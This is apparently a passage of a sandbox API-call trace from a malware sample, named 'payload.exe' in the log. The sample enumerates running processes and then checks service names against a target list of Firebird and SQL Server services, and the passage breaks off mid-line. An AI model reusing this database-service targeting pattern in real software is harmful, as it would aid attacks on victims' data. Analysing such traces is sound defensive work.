th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0147.727] lstrlenW (lpString="sihost.exe") returned 10 [0147.727] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.727] lstrlenW (lpString="svchost.exe") returned 11 [0147.728] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0147.728] lstrlenW (lpString="taskhostw.exe") returned 13 [0147.728] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0147.729] lstrlenW (lpString="msoia.exe") returned 9 [0147.729] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.729] lstrlenW (lpString="explorer.exe") returned 12 [0147.729] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0147.730] lstrlenW (lpString="SearchUI.exe") returned 12 [0147.730] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0147.731] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0147.731] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0147.731] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0147.731] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0147.732] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0147.732] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0147.732] lstrlenW (lpString="dllhost.exe") returned 11 [0147.732] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0147.733] lstrlenW (lpString="dllhost.exe") returned 11 [0147.733] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0147.734] lstrlenW (lpString="payload.exe") returned 11 [0147.734] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0147.734] lstrlenW (lpString="cmd.exe") returned 7 [0147.734] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.735] lstrlenW (lpString="conhost.exe") returned 11 [0147.735] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0147.735] lstrlenW (lpString="cmd.exe") returned 7 [0147.735] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.736] lstrlenW (lpString="conhost.exe") returned 11 [0147.736] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0147.737] CloseHandle (hObject=0x348) returned 1 [0147.737] Sleep (dwMilliseconds=0x1f4) [0148.622] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69da10 [0148.623] EnumServicesStatusExW (in: hSCManager=0x69da10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0148.624] GetLastError () returned 0xea [0148.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x4212978 [0148.624] EnumServicesStatusExW (in: hSCManager=0x69da10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4212978, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4212978, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0148.625] CloseServiceHandle (hSCObject=0x69da10) returned 1 [0148.625] lstrlenW (lpString="Appinfo") returned 7 [0148.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0148.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0148.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0148.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0148.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0148.625] lstrlenW (lpString="AppXSvc") returned 7 [0148.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0148.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0148.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0148.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0148.626] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.626] lstrlenW (lpString="Audiosrv") returned 8 [0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0148.626] lstrlenW (lpString="BFE") returned 3 [0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.626] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0148.626] lstrlenW (lpString="CDPSvc") returned 6 [0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0148.626] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0148.626] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0148.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0148.626] lstrlenW (lpString="ClickToRunSvc") returned 13 [0148.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0148.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0148.627] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0148.627] lstrlenW (lpString="CryptSvc") returned 8 [0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0148.627] lstrlenW (lpString="DcomLaunch") returned 10 [0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0148.627] lstrlenW (lpString="DeviceAssociationService") returned 24 [0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0148.627] lstrlenW (lpString="Dhcp") returned 4 [0148.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0148.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0148.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0148.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0148.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0148.627] lstrlenW (lpString="Dnscache") returned 8 [0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0148.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0148.628] lstrlenW (lpString="DPS") returned 3 [0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0148.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0148.628] lstrlenW (lpString="DusmSvc") returned 7 [0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0148.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0148.628] lstrlenW (lpString="EventLog") returned 8 [0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0148.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0148.628] lstrlenW (lpString="EventSystem") returned 11 [0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0148.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0148.628] lstrlenW (lpString="FontCache") returned 9 [0148.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0148.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0148.628] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0148.628] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0148.629] lstrlenW (lpString="gpsvc") returned 5 [0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0148.629] lstrlenW (lpString="iphlpsvc") returned 8 [0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0148.629] lstrlenW (lpString="KeyIso") returned 6 [0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0148.629] lstrlenW (lpString="LanmanServer") returned 12 [0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0148.629] lstrlenW (lpString="LanmanWorkstation") returned 17 [0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0148.629] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0148.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0148.629] lstrlenW (lpString="lfsvc") returned 5 [0148.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0148.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0148.630] lstrlenW (lpString="lmhosts") returned 7 [0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0148.630] lstrlenW (lpString="LSM") returned 3 [0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0148.630] lstrlenW (lpString="MpsSvc") returned 6 [0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0148.630] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0148.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0148.630] lstrlenW (lpString="NcbService") returned 10 [0148.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0148.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0148.630] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0149.048] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0149.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0149.048] lstrlenW (lpString="netprofm") returned 8 [0149.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0149.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0149.048] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0149.048] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0149.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0149.048] lstrlenW (lpString="NgcSvc") returned 6 [0149.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0149.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0149.048] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0149.048] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0149.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0149.049] lstrlenW (lpString="NlaSvc") returned 6 [0149.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0149.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0149.049] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0149.049] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0149.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0149.049] lstrlenW (lpString="nsi") returned 3 [0149.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0149.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0149.049] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0149.049] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0149.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0149.049] lstrlenW (lpString="PcaSvc") returned 6 [0149.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0149.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0149.049] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0149.049] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0149.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0149.049] lstrlenW (lpString="PlugPlay") returned 8 [0149.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0149.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0149.049] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0149.049] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0149.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0149.049] lstrlenW (lpString="Power") returned 5 [0149.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0149.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0149.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0149.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0149.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0149.049] lstrlenW (lpString="ProfSvc") returned 7 [0149.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0149.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0149.050] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0149.050] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0149.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0149.050] lstrlenW (lpString="RpcEptMapper") returned 12 [0149.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.050] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0149.050] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0149.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0149.050] lstrlenW (lpString="RpcSs") returned 5 [0149.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0149.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0149.050] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0149.050] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0149.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0149.050] lstrlenW (lpString="SamSs") returned 5 [0149.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0149.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0149.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0149.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0149.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0149.050] lstrlenW (lpString="Schedule") returned 8 [0149.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0149.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0149.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") 